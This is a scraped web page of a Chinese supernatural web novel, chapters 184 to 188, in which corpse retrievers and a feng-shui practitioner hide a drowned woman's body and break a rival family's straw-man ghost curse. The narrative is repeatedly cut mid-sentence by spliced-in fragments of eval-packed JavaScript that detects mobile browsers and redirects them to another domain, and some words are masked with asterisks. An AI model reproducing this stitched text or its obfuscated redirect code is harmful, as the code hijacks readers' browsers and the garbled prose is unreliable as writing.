只不过,她被女鬼占据身体。 在这小男孩儿的视角中,还是姐姐? 倒也对,一个阴胎能知道什么? 被钉在柳树根下…… 指的是,钱家将那女鬼钉在那里!? 时至今日,他们想带走女鬼,又被小男孩儿破坏? 柳树是鬼树,鬼树养鬼…… 钱家见女鬼转世无望,就要养鬼?! 怪不得,那女鬼如此抵触,如此凶煞! 我思绪依旧飞速,电闪之间。 苟驹又骂了人,让他们别胡说八道,这是他儿子! 就这一句话,让五人戛然无声。 下一刻,那小男孩儿噗通一声掉进了水里,朝着前方游去。 就和先前我同徐湘灵瞧见的那一幕一样。 这小男孩儿像是个赤条条的青蛙似的,不停的在水中游动,不停的远去! 他的方向,远离了这片破天心水风水局。 他的方向,好像是朝着天沧江上游。 “他要我们远离这里!钱家必然还会回来,无论结果如何,如果发现我们,恐怕就是一场恶斗!” 我果断开口,言之凿凿! “操他们祖宗十八代!”苟驹啐了一口唾沫。 徐湘灵反倒是更冷静,马上就去开船。 随着她的动作,其余几个捞尸队的人一样开船,两条船顺着那水中的光屁股影子,朝着上游疾驰! “前边儿的捞尸人停船!停船!停船!” 厉声大喝,忽地从江边一侧传来。 “无论你们是哪一个江域的捞尸人,速速停船,放下船上女尸,饶你们不死!否则,必将遭我钱家追魂索命!” 我骤然扭头,却瞧见一队人匆匆朝着我们这边追来! 数量,比先前的五人要多了几倍不止! “饶你仙人板板!老子是谁,你们几个龟儿子认不得了吗!?”苟驹猛然转身,陡然竖起中指,骂道:“来啊!来找老子啊!新仇旧恨,老子和你们算!” 第184章 放开手脚 苟驹满目憎恶,青筋鼓起,他手臂上的血管都根根分明。 苟驹有多恨? 钱家害得他家破人亡,害得他妻子一尸三命! 我多恨陈梁生,恐怕苟驹就有多恨钱家! 发动机推动下的船,离开的速度其实很快。 那一大群钱家人都在岸边,一双双目光,带着浓烈煞气和杀机。 不多时,我们就看不清楚岸边的情况。 相对而论,岸边的钱家人同样看不清我们了。 苟驹这才垂下手臂,只不过,他的呼吸还是急促,他眼中的恨意没有丝毫减少。 我心在咚咚直跳。 还好,我们走了。 否则,一场恶战少不了,捞尸队就五个人,算上苟驹和徐湘灵,满打满算,都得以一敌三,才能对上钱家那群人。 我没有算上自己,钱家这群人,必然和苟驹他们相仿,都是吃**饭这一行的,手脚功夫比我厉害得多。 抛开风水和算命术不谈,我自己有几斤几两,还是很清楚的。 “苟叔,钱家应该吃大亏了,才会想着通知其余族人来,先前那神婆,就算是活着,都会被困死在那老宅里。” “钱家这群人,应该是过来探查情况,恰巧遇到我们。” 我同苟驹解释。 苟驹的脸色总算好看一些,哑声回答。 “吃大亏哪里够,那神婆**我才能泄愤一丝。” “钱家会找到回水湾来的吧?”徐湘灵眼中透着一丝不安。 “怕个逑?”苟驹眼珠子一瞪,脸色都是一横:“好赖是一条命,钱家人胆敢来,我就敢杀!” “姐夫,你是硬气,万一真是你**了呢?姐姐尸体会被带回去,天知道钱家会做什么,万一让她不得超生?”徐湘灵贝齿紧咬,对现实问题,她考虑的更深一些。 是啊,苟驹不是钱家的对手,这是多年前便既定的事情。 “总归,想要从我手里抢走你姐姐,绝不可能!” 苟驹还是甩狠话。 “暂时让捞尸队的这几位大哥回家,不插手苟叔你和钱家的事儿,钱家不至于去找他们几个的麻烦,况且,钱家未必认识他们。”稍稍一顿,我随之开口道:“至于苟叔你和徐姑娘,就暂时住在小二楼里,我爸和爷爷在医院里,一时半会儿是回不来的。钱家这件事情,轻而易举解决不了,得会会他们。” 我这一番话,直接将事情安排了一遍。 不说是十拿九稳,却也算得上是我眼前能做的最好了。 小二楼里不但有白姝灵,甚至还有陈瞰山! 陈瞰山能对葛家出手,就代表会护着我,即便我不是钱家对手,钱家都不能怎么样。 变相来说,这保住了苟驹和徐湘灵! “操!”苟驹爆了一句国粹。 他显得分外不甘,哑声说:“难道老子这辈子,就要被钱家压一头?” “君子报仇,十年不晚。”我劝慰苟驹。 苟驹眼皮微搐,回答:“如果已经十年了呢?” 一时间,我却戛然无声,不知道说什么才好了。 这话的确是说劈叉了,就像是和一个九十九岁的老头说,祝你长命百岁。 苟驹一样不说话了。 他怔怔的看着船上站着的徐莹尸身,眼眶再度变得微红。 江边开始出现一些建筑,出现公路,出现车辆。 闪烁着的灯光驱散了夜间的冰冷。 回水湾进入了视线中。 到了岸边码头,停船。 哐当一声闷响,是徐莹的尸身直挺挺的倒在船上。 不知道何时,那小孩儿的尸身回到她的怀里,她紧紧的环抱着,母子两像是融为一体。 苟驹开始安排人回家避避风头。 那五个捞尸队的人却不肯走,意思是,他们先前听到我说的话了,可这要是走了,还算是人吗?总不能有福同享了,有难就跑,这算个瘠薄**?暗里斗不过钱家,他们还不能报警了?只要想办法,总有的是办法吧? 说实话,他们这态度,让我还挺触动。 苟驹挨个挨个指着脸骂了一顿,意思是还报警,吃这一行的饭了,就算是要管事儿,都是阴差来管他们的事儿。 阴差管什么,管送去投胎。 真和钱家斗起来,只有一个可能,钱家毫发无损,把他们全弄**。 挨个挨个滚回家里待着,等他解决完了事情,再带着他们出来捞尸,干捞尸队的,就已经是把脑袋别在裤腰带上干活儿,就不要牵扯进风水界的恩恩怨怨。 风水界? 我默默记下来了这三个字。 武侠片里说江湖。 风水界,就是类似于江湖的存在么? 先生才是主导?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15593540|166389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 苟驹这类人,就是组成风水界的底层? 这番想法我没有带着贬低的意思。 三教九流,职业的确有高低分别。 终于,苟驹把那五人的脸都骂白了。 终于,那五个捞尸队的人,白着脸走了。 他们头都没回。 每个人都显得很难受,走路都是蹒跚摇晃的。 苟驹总算松了口气。 随后,他和徐湘灵一起抬着徐莹的尸身上岸,我则走在前边儿带路。 不多时到了小二楼,我先开门,他们将尸体抬进来。 苟驹本来要将尸身放在客厅。 我示意他们进我房间。 苟驹面色带着疑惑,不过他并没有多言。 刚打开门,我一眼就瞧见了在床边坐着的白姝灵。 棺材是盖着的,坐在床上的是魂魄。 她稍稍歪着头,眉眼弯弯带笑,看着徐湘灵。 徐湘灵微抿着唇,保持心神镇定。 河魁尸对捞尸人多少有震慑作用。 苟驹是和我太熟悉了,没有丝毫被影响,徐湘灵还做不到对白姝灵免疫。 “要带这位姐姐下去吗?”白姝灵站起身来,轻声说:“我和相公来就好了。” 我默了一秒,才说:“姝灵,不用,苟叔和徐姑娘和我一起下去。” 苟驹,是绝对值得相信的人。 若非是他,我都来不了这个小二楼,更别说拿到陈瞰山的法器,遗书。 若非是他,黄渠村里,我可能就被仙家迷惑了。 徐湘灵算是他妹妹,对我也足够恭敬,主要是钱家的事情,我要帮他们,三人就是命运共同体。 徐莹的尸身放在陈瞰山的尸身旁才足够安全。 苟驹才将妻儿打捞上岸,我就让他们分开,显然不通情理,因此让苟驹下去,让徐湘灵下去,就是正常而为的事儿了。 “哦……”白姝灵鼓了鼓嘴。 她走到我身旁,贴的很近。 当然,她是鬼,不会挡着我。 我去打开了衣柜内的暗门,示意苟驹和徐湘灵先进去一个,再将尸体推进去。 苟驹被吓了一跳,谁:“我还以为小陈你们说要将徐莹送下去投胎呢,搞半天,这下边儿有个地室?好嘛,藏这里,还真是安全了,没有后顾之忧,老子能放开手脚干钱家!” 第185章 三教九流 苟驹这人,要面儿。 很多时候他都这样。 饶是现在,就算是没有对付钱家的手段,打不过钱家那么多人,他嘴里亦然是不服输。 随后,苟驹进了地道入口,徐莹的尸身被塞了进去,徐湘灵随**内,我进去之前,白姝灵凑得更近,在我脸颊上吻了一下。 她的动作很忽然,像是蜻蜓点水。 恰逢这会儿,徐湘灵回头,喊:“陈先生,你可以进来……” 她话音戛然而止,脸色有些发红,又有些微慌,赶紧低下头去。 我略有尴尬,因为我没料到白姝灵会这样。 低头,我跟上徐湘灵。 等到了最下边儿那个地室后,苟驹已经将徐莹的尸身平放在地上了。 他怔怔的看着墙根处,陈瞰山的尸身。 “我二爷爷的尸体,没事。” 开口,我和苟驹解释。 苟驹拱手抱了抱拳,还行了一礼。 徐湘灵则恭敬许多,她身上的规矩约束感比苟驹强不少。 随后,苟驹低头看着徐莹的尸身,没有预兆的,眼泪啪嗒就掉了下来。 “婆娘,咱来日方长呢,你还真给我生了个带把儿的小子,不着急,你们在这个地方躺几天,这里没有水,干干净净的,多好啊,又安全。” “让咱儿别瞎闹,墙根儿那老爷子,是老陈家的人,金尺玄算的老陈家,在这里,钱家撒不了野,我这个当男人的,当老汉的,要出去给你们报仇了!” 男儿有泪不轻弹,只是未到伤心处。 其实,我本以为苟驹还要多陪陪妻儿的。 大概还是陈瞰山这人,以前也算有身份有地位,苟驹很明显认识他,因此不便在这里久留。 随后,苟驹扫了一眼旁侧,那里还有我上次带回来的阴胎。 我没多言解释什么。 苟驹低头,从原路返回。 徐湘灵擦了擦眼角,低声说:“姐姐,我和姐夫会尽快让你入土为安的。” 语罢,她跟上了苟驹。 很快两人离开了地室。 我顿了顿,才跟上去。 出来时,苟驹和徐湘灵都已经离开我房间了。 白姝灵站在床侧,姿态很端庄。 我同白姝灵微微点头,这才走出房门。 顺手将门带上,徐湘灵和苟驹已经坐在客厅沙发上了。 苟驹摸出来一支烟点上,狠狠吸了一口。 徐湘灵显得很坚强,眼眶都没有发红。 “钱家要来,不会贸然跟来的,他们应该会算计,就像是苟叔他们当年算计你一样。”我说道。 “是。”苟驹点头。 “我们也可以动手,钱家害人不浅,算是恶贯满盈,苟叔你只要随便给我百八十块钱,这件事情就算是和我有因果了。”我顿了顿再道:“那我就可以算计钱家的风水,让他们腹背受敌。” 所谓腹,是钱家风水本身,背,就是我将女鬼放进了苟驹老宅,让他们棘手无比。 通过对付葛俊,我算是有一点点和人斗风水的经验了。 况且,钱家所倚靠的,应该是类似神婆这种存在,只是数量多,本事比苟驹强? 我思索间,和苟驹对视着。 “百八十哪儿行,这算是搏命的事情了,百八十万你苟叔拿得起,捞尸已经占你便宜,这事儿就不能继续占你便宜了。”苟驹开了口。 “不行。”我果断摇头。 “别娘们儿唧唧的,不然你苟叔我心里不痛快。” 苟驹吸完了烟,又点了一根,沙发上都烟雾缭绕起来。 我脸上都是苦笑。 “被其他先生拿了钱,办不了事,等于浪费,陈先生你就别和姐夫计较了。”徐湘灵轻声开口。 “小灵这妮子,她就比你豁达,再者说,你苟叔念头通达了,以后能少赚了钱?这事情,就这么定了!”苟驹言之凿凿。 我重重吐了口浊气,便不在扭捏,说了个行。 收钱办事,是先生的因果。 钱家要害苟驹,我就可以用风水反击,甚至是布局风水,而不受报应,因为事件的本身是苟驹和钱家的,他们会各自承受果报。 “钱家的祖坟,苟叔你知道在哪儿么?”我单刀直入。 徐湘灵稍稍咋舌。 显然,我直接就说祖坟,稍稍有些惊到她。 苟驹碎碎念了几句, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15600190|166389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意思是话真说的没错,得罪了谁,都不能得罪先生。 随后,他脸上当真又堆满笑容,像是悲伤一扫而空。 “直接弄祖坟,好手段,好狠,你苟叔我喜欢!” “钱家的祖坟在哪儿,我还真知道,只不过我去搞过一次,让人给收拾了,这钱家不简单的……他们家族至少有两股九流行当,分别是神婆,棺材匠。” 苟驹十分慎重,打开话匣子,讲钱家的信息。 他顺道还和我解释了什么叫做九流。 捞尸人同样在九流之中。 像是缝尸匠、神婆、剃头挑子、纸扎匠、棺材匠、抬棺匠、接阴婆、打更的……等等,全都是。 九流不光局限于九种,是这种上不得台面的吃**饭行当,都叫九流。 神婆和棺材匠,算是九流之中,本事比较强的。 当然,这个强有相对论,譬如捞尸人擅长在水里整活儿,在旱地里和神婆,棺材匠斗,那就是斗不过。 要将场地放水里,苟驹的意思,他一个人能撂翻三五十个不成问题。 随后,苟驹才切入正题,钱家的祖坟,占地还挺大,在他们那片地界还挺有名气,一直都有守陵人。 至于这守陵人,就是上了年纪的神婆和棺材匠,别看老了,一个个老辣的很,**专打要害,尤其是神婆,腿转夹人脑袋。 他之前动心思的时候,真被打了个好歹,在床上躺了得有三个月。 语罢,稍稍顿了片刻,苟驹就说:“什么时候去?现在?还是休息休息?养精蓄锐也行,未免夜长梦多,也行。” 苟驹舔着嘴角,眼中带着跃跃欲试。 他又补了一句话,让我得想好法子,先用点儿风水手段,将守陵人给整了。 我深呼吸,消化苟驹给我的信息量,一时间没开口说话。 偏偏这时,一声刺耳的惨叫响起,像是穿透云霄。 苟驹的脸色骤然大变,骂了句:“操,他们来阴的!河神老爷!” 拔腿,苟驹就要朝着小二楼外冲去! 我脸色随之一变,一把抓住苟驹的胳膊,盯着他的脸,随后,惊疑不定的盯着小二楼的门! 事情不对劲! 第186章 并列五黄飞星 惨叫声,不是人的。 平房外还有一样东西,那就是苟驹养的水尸鬼。 他和捞尸队眼中的河神老爷! 我拉住苟驹的缘由,不是因为我知道了他们对河神老爷做了什么,是苟驹的脸上忽然浮现了一种暴毙相格。 他本来精瘦的脸,给人一种肿大相,鼻息很重,无形之中像是发出了鼾声。 此相格,似猪! 形如猪相,死必分尸! 前一瞬没有,这一瞬出现,代表着苟驹开门,就要出事! 惨叫声不是因为钱家才做了什么,钱家已经来了,甚至钱家做好了一系列的准备。 对河神老爷下手,根本的意义上,是引苟驹出门! 小二楼外,必定有杀招! 我思绪在顷刻之间。 苟驹急道:“小陈,你拦着**什么,河神老爷被他们整了!” 话语间,苟驹就想用力挣脱我的手。 “姐夫,你冷静!陈先生必然有其深意!”徐湘灵的反应,在这会儿都要比苟驹灵敏。 苟驹是关心则乱了。 我做了个噤声的手势,拉着苟驹朝着二楼方向走去。 苟驹身体稍稍僵硬片刻,这才跟我上楼,我松开了他,他没有往楼下跑,没有非要出门了。 徐湘灵则跟在我们最后边儿。 很快到了我爸住的那个房间里。 靠着回水湾方向的正面窗户,拉着窗帘,暗沉的天色,薄弱的月光,帘子微微飘动。 我们三人到了帘子前,我还是做嘘声的动作,示意他们不要轻举妄动。 透过两道帘子之间的缝隙,我瞄着下方。 粗眼看,并没有发现什么地方不对劲。 仔细一看,才能瞧见蹊跷。 地上的枯枝败叶中,多了一些两指大小的稻草人,大意之下,根本瞧不见这些玩意儿。 再谨慎仔细去看,稻草人上几乎都贴着符箓。 一指宽的窄符,画着红色扭曲的线条。 这些就是神婆的手段吗? 我给苟驹打了个眼色,指了指我发现的那些位置。 苟驹看一眼,额头上汗珠就下来了。 “五鬼草人术,操……” “五鬼草人术?”我眉头再皱。 五鬼这种东西,我是接触过的,披头五鬼符,算是老鳏夫的风水术,就能够请出来五小鬼,当初拿去对付过陈梁生,我还用了这一招去阴葛俊。 按道理说一个神婆,居然能有这种层面的手段? “小陈,你没怎么接触过三教九流的人,这五鬼草人术,能请出来五小鬼,分别是疫、穷、晦、魇、偷。” “疫鬼让人染病,穷鬼使人返贫,晦鬼带来霉运,魇鬼让人入梦,偷魂鬼让人丢魂。” 苟驹和我解释着,他脸色分明显得心惊肉跳。 “这种手段,算是钱家压箱底的招数了,一个神婆布局不了,起码来了五个!看来,钱家是狠狠的疼了一下,你先前的布局,让那个神婆倒了大霉!” 说着,苟驹还舔了舔嘴角,又带着一丝笑容。 随后,他再度看向前方平房的方向,额头上汗珠又豆大豆大一颗。 我眼皮同样微跳着。 苟驹的解释,好像和我认知中的五鬼不一样。 至少,披头五鬼符请出来的五鬼,应该叫做缢鬼,独脚鬼,长舌鬼,矮鬼,虎伥。 多想片刻,我就明白缘由了。 三教九流毕竟有上下之分,再怎么差的三教,都要强过于九流,因此,风水术中的五鬼,必然更正统,这种九流术中的五鬼,应该要更低劣一些? “小陈,得有招才行啊,不然咱们连这房子都出不去……楼里边儿是安全,他们是不敢进来,我们总不能一直被困着吧?”苟驹再度开口。 他眼中总算耐不住那一丝焦急了。 我同样看过了平房方向,这会儿漆黑暗沉,连灯光都没有,可以说什么都瞧不见。 不知道那河神老爷是死是活? 它不能死…… 河神夺女我虽然不准备做,但是我早就想好了另外的办法。 那河神老爷在陈瞰山的安排中,必然有作用。 真必须要夺女才能让它帮忙,就不能用别的方式? 如果它被钱家弄**,对我来说,都是一个损失! “姐夫,你不要催陈先生,你让他好好思考。”徐湘灵低声和苟驹说话。 苟驹只能强忍着脸色上的焦躁。 我深呼吸,又重重吐了口浊气。 我对神婆的了解太少了,这些手段都算是民间术数,和风水术又不一样,针对之法,我就暂时没想到。 “苟叔,如果是你们面对神婆,面对这五鬼草人术,会怎么破解?”我问苟驹。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15600191|166389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“当然是直接剁吧剁吧,什么鬼鬼祟祟没了个寄身,还能为祸?”苟驹眼中一狠,随后又无奈摇头:“只不过,这些草人,正常情况下剁不到的,咱们一开门,出去看到的可就不是上边儿看到的这样子了。” “小鬼会一瞬间出现,趴在草里,然后群起而攻之,三两下,就把人整**。” “要是一两个这种小鬼,好,就算三四个,我豁出去了能应付,我这条命,硬着呢,可它们实在是数量太多……”苟驹摇头,情绪有几分沮丧和无力。 我心头猛地一搐,从束手无策,一下子,就隐隐明白了些许东西。 命硬,苟驹说了不止一次两次了。 命硬,都能和先生对抗几下。 这其实就是光脚的不怕穿鞋的,再加上命数厚重,不容易被先生算计。 风水术,能硬抗。 对付这五鬼草人术是一个道理。 那五鬼草人术,这种术数手段,无形之中,还是和风水有所挂钩? 贴符,摆放方位,请鬼成阵,是低劣风水术推演之后,形成的招式? 从这个角度去剖析这个术数,我就有应对方法了。 这就像是做题,虽然是没有见过的题式,但有了一个方向提醒,就可以尝试破解! 这种五鬼草人术,成阵在宅外,人出则伤人,就像是一种煞! 将它看做煞的话,那我要做的,就是破煞! 风水中,五鬼还有一个说法,就是五鬼煞。 这五鬼煞和流年五黄星飞临的位置相关,又叫做五黄位。 愈发分析,我就愈发心惊肉跳。 怪不得,苟驹这么忌惮这五鬼草人术。 风水中,二黑飞星和五黄飞星并列最凶,二黑飞星是冷庙之鬼,先前我们在胡家已经见识过了。 五黄飞星,与其相仿! 这五鬼草人术,阴差阳错的还贴合了凶星之相格! 我摸出来了仕金盘,盯着指针转动,另一只手掐指,开始在屋内走动。 破五鬼煞的方式不难,找到五鬼位置,即可化煞**! 不光能破煞,还能形成反煞! 这几个神婆,要尝试被反噬的滋味儿了! 思绪间,我循着方位,已经走到客厅一处位置,再往前两步,我发现地上有个东西,是烟灰缸,里边儿还有一枚烟蒂正在冒着火星子,发出轻微的滋滋声。 第187章 掌四门起雾 这位置就是五鬼方。 旁侧是茶几,五鬼方是一个空处。 风水上,五鬼方的确要干干净净,什么都别摆放,否则会加重五鬼煞的煞气。 这宅子是陈瞰山的阳宅,在风水布局方面,是肯定不会有问题的。 问题出就出在阴差阳错。 我爸好一口烟,苟驹同样如此。 烟灰缸他们没有摆在桌上,而是放在地下。 这位置,恰巧就是五鬼方! 五鬼煞属火,烟灰缸就是一种火,形成了对冲。 恰好神婆布下五鬼草人术,煞气更强! 烟蒂上带着苟驹的唾液,算是精气。 因此,苟驹哪怕本身命硬,能抵挡这手段一时片刻,因为这风水的压制,他也没有办法,才会形如猪相,有暴毙可能。 我将烟灰缸捡起来,走进洗手间,直接放水冲掉烟蒂,再回到客厅,将烟灰缸放在桌上。 就这么顷刻间,苟驹的面相果然变了,只是成了血光之灾,额顶红中还带着一缕黑气。 随后,我取出来寻龙分金尺,直接将其立在五鬼方。 紧接着,我再摸出来八枚铜钱,分属于寻龙分金尺八个方位,摆成了最为普通的八卦位。 “咚咚咚咚!”剧烈的砸门声骤响。 “谁!?”苟驹惊声盯着门。 咚咚咚咚! 咚咚咚咚! 咚咚咚咚! 咚咚咚咚! 这样声音,连续响了五次! 每一次都是四声,神三鬼四,敲门的是鬼! 五鬼方的铜钱发出轻微颤鸣,甚至立了起来! 再接着,啪声响了八次! 铜钱倒下! 最后,寻龙分金尺重重倒地,尺子指向小二楼的门! 隐约间,从门缝中瞧见了火光。 我深呼吸,骤然迈步朝着门口走去。 “这就妥了?小陈,你小心,我走前边儿!”苟驹赶紧跟上我。 我没有让他往前,一手还是托着仕金盘。 要说命硬,我手中拿着风水术中最大的一道符,这才是命硬。 像是在死水潭子里,那么多的河娘子,只要我拿着仕金盘,她们都不能对我怎么样。 如果没有更好的解法,我会直接举着仕金盘出门对抗。 现在我先从五鬼方破煞,再用仕金盘自保,绝对出不了意外! 一手抓住门,直接拉开。 我迈步走出来,入目所视,门外至少二十处地方全都冒着火光,枯枝败叶烧的最快,稻草人反而烧的慢,能听见若有若无的惨叫声,十分痛苦。 心头微跳,因为先前,我都没有发现这么多稻草人…… 钱家的神婆,果然有一手! “小陈,你猛啊!”苟驹重重拍了我肩膀一下,显得兴奋极了。 “兵不血刃,直接干废了钱家最得意的一招,有东西,是真有东西!”苟驹说着,从我侧身走出,匆匆朝着平房方向跑去。 “苟叔,你小心!”我赶紧喊一声,跟上苟驹。 徐湘灵则立马跟上我。 很快,我们就到了平房处。 地上湿漉漉的都是水,还有一扇门是打开,情况却不容乐观。 门破破烂烂,像是硬生生被砸碎,地面的水中更有着破破烂烂的木头,甚至还有红布,以及……血…… 木头看上去像是装河神老爷的容器,红布是盖着这容器的物件…… 那血……是谁的血? “操!”苟驹又骂了一句脏话,一步迈入那平房内。 我和徐湘灵随**内。 平房内的血,更多,水,更多,甚至还能瞧见一些白色的毛发。 白色的毛发,就是河神老爷的? 一时间,我心跳都坠空了半拍。 下一瞬,我却瞧见了另外一样东西。 徐湘灵被吓了一跳,后退了一步。 苟驹同样投以注视目光,眼中带着惊悚。 “獒都放出来了!?”他语气更惊疑。 那东西像是一条狗,可又不是狗,比寻常的狗大得多。 藏獒我见过,肉厚,头大,嘴皮宽,这东西也不是藏獒。漆黑黑的毛发,眼珠子微微泛红,嘴巴很尖,既像是农村的五黑犬,又像是狼。 对,这东西像是狼和狗的结合。 它应该很凶。 实际上,它就是凶,嘴皮子不停颤动,似是想扑过来狠狠撕咬我们。 只不过,它动不了了。 在它腰腹的位置有一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15603087|166389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个很大的洞,肠肠肚肚都跑了出来,还在冒着热气。 饶是这种伤势,饶是濒死,它都凶性未减。 “哼!”苟驹大步上前,手中两柄卜刀,狠狠**那獒的脖颈里。 血又涌出来不少,地面血水更多了。 “獒又怎么样?九犬一獒,也比不上成精了的河神老爷,畜生东西!”苟驹重骂。 那头獒**。 它死的时候,眼珠子依旧瞪着,依旧血红,盯着我们。 死,它似都不怕。 随后,苟驹**刀,回头看向我。 气势虽然不减,但苟驹的脸色,却变得更难看了。 “这群**杂种,把河神老爷弄走了……” 我心口同样有些闷堵。 苟驹想到了钱家可能会对捞尸队的人动手。 却偏偏忽略了河神老爷。 恐怕也是因为河神老爷本身不简单,算是山野精怪。 可他没料到,钱家神婆一样弄出来了凶狠之物,可能看上去稍弱一筹。 不过,数量往往能决定量变。 “他们没有多大本事,是想拿捏你,让你去找他们,我们偏偏不能这么做,要反其道而行之。” 我摇摇头说道。 “这……”苟驹的额间,冒出一枚枚汗珠。 “小陈,河神老爷会……”苟驹又开口。 “苟叔,被人威胁,是没有尽头的,钱家用了各种手段,没能将你怎么样,只能把河神老爷带走,我爸也落在过陈棺生手里,经验告诉我,要破局,一定不能低头,他们会让你跪下,再一步步挤压你的底线,你应该知道他们的目的?” 我这番话言之凿凿。 苟驹一下子戛然无声。 可偏偏这时,我又感受到一股说不出的心惊肉跳。 抬起手来,我看着自己的手掌。 手掌四门,四库生出薄薄的黄雾,就像是人得了黄疸似的,我的皮肤都变得蜡黄。 “这……不对劲啊?”我后背都生出了细密汗珠。 “怎么不对劲了小陈?”苟驹又赶紧问我。 “钱家没有先生吧?”我立马反问苟驹。 “怎么可能?他们要有先生,以前我不早被弄**吗?”苟驹赶紧摇摇头。 第188章 粉白色的树 我沉默无言,依旧注视着自己的手掌 用神相千壳来看掌,四门指的是乾坤巽兑。 乾宫对应事业瓶颈,长辈缘薄,坤宫对应家庭关系,脾胃,巽宫对应财运决策,伤及肝胆,兑宫对应人际关系。 四门起雾预兆着诸事不顺,灾祸速至! 而这雾气是枯黄色,甚至贯穿五指,代表着百天之内,大祸临身。 两者并联来看,恐还是祸,无从化解,且近期会应! 我和葛家之间的纠葛在那老先生低头的时候,就算是解决了。 况且事情没有那么多巧合,我正和苟驹对付钱家呢,我就出现了手相问题,出现凶险祸端,唯有的解释,就是钱家有鬼。 不,是钱家有先生! “真有先生?”苟驹不自然的再问。 “没事,这只是一个预兆,对方并不能将我怎么样,只是的确有个先生介入进来了。”我哑声回答。 “操……”苟驹淬了一句,骂道:“不知道哪个不开眼的先生,这种家族都干帮?真就是什么钱都能赚了呗?不怕遭报应吗?” “那……会很麻烦,很危险么?”徐湘灵不自然的问。 “没事。”我摇摇头。 这世上哪儿有什么事情能一帆风顺,怎么想就能怎么解决?任何事情都有变数,有风险,有抵抗,才是常态。 我没有继续多言其他,苟驹一样将嘴闭上了。 良久之后,我才说:“先去探探钱家的祖坟,任他张良计,我有过墙梯。” “小陈,你想好怎么对付守陵人了?”苟驹谨慎问我。 先前苟驹和我说过,关于守陵人的问题,是上了年纪的神婆和棺材匠,当年苟驹都没有讨到什么好处。 “没有。”我摇摇头。 “那不兴去啊……棺材匠的三板斧,守陵人的点斗术,都是要人命的招式。”苟驹当即否决。 “苟叔,你还是没听明白我意思,钱家暗中的先生已经想做些事儿了,我们不能被牵着鼻子走,他们肯定会有惯性思维,譬如你现在想的,我们就只能和钱家对抗,而不是各行其道。”我再度和苟驹解释。 “这……我知道你意思了,我意思就是,我们对付不了他们……”苟驹慎重解释。 “谁说要正面对抗了?正面打不过,不能背面么?钱家可曾正面直接害人?不一样是阴损招式?苟叔,你这人太实诚,看起来你不讲规矩,反而你是最讲规矩的人。”我这番话落罢,苟驹是沉默沉默,再沉默,完全的戛然无声。 “走吧姐夫,听陈先生的。”徐湘灵慎重开口。 “行,走。”苟驹说。 “等会儿苟叔,你帮我弄一个瓶子过来。”我转而视线投向地面的獒尸。 很快,苟驹拿来了一个塑料瓶,我在獒尸脖子的位置挤压,挤出来了不少血,还灌了一整瓶。 紧接着,我借用苟驹的刀,将獒尸的脸皮给卸了下来。 徐湘灵看着这一幕,是直皱眉头,苟驹同样满脸不解。 我没有解释什么,再让苟驹帮我找个塑料袋子来,我装好那脸皮后,就示意可以离开了。 离开这片平房,朝着路边儿走去,苟驹招手,拦下来一辆出租车,我没让他上车,只是让他告诉我地址,我们坐网约车。 苟驹一脸不解,说不差那点儿钱,我这才和他解释了出租车的弊端,容易被人算计。 苟驹一副心惊肉跳的神态。 他也没让我打车,而是自己叫了辆网约车。 车,朝着市区的方向驶去。 苟驹才告诉我,钱家距离他们家不远,大约个把小时的路程,现在这情况,肯定是不能走水路找过去了,钱家肯定会设防,设伏,我们从市区过去,既能带我扫一眼钱家,又能去钱家祖坟。 我一下子便明白,钱家的宅子和祖坟的位置临近。 从市区走,车速一直快不起来,距离还有那么远,我便闭目,斜靠着座椅靠背,打了个盹儿。 再等苟驹将我喊醒的时候,夜色分外漆黑,甚至都见不到月华星辰,给我的感觉,都快天亮了似的。 往往,天亮之前,黑暗最为浓重。 看了一眼时间,果然,已经是凌晨四点半了,再一会儿就会天亮。 停车的位置是一条乡间公路,公路两侧是农田。 往前方看,是跌宕起伏,连绵不断的山脉,往后看,粗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 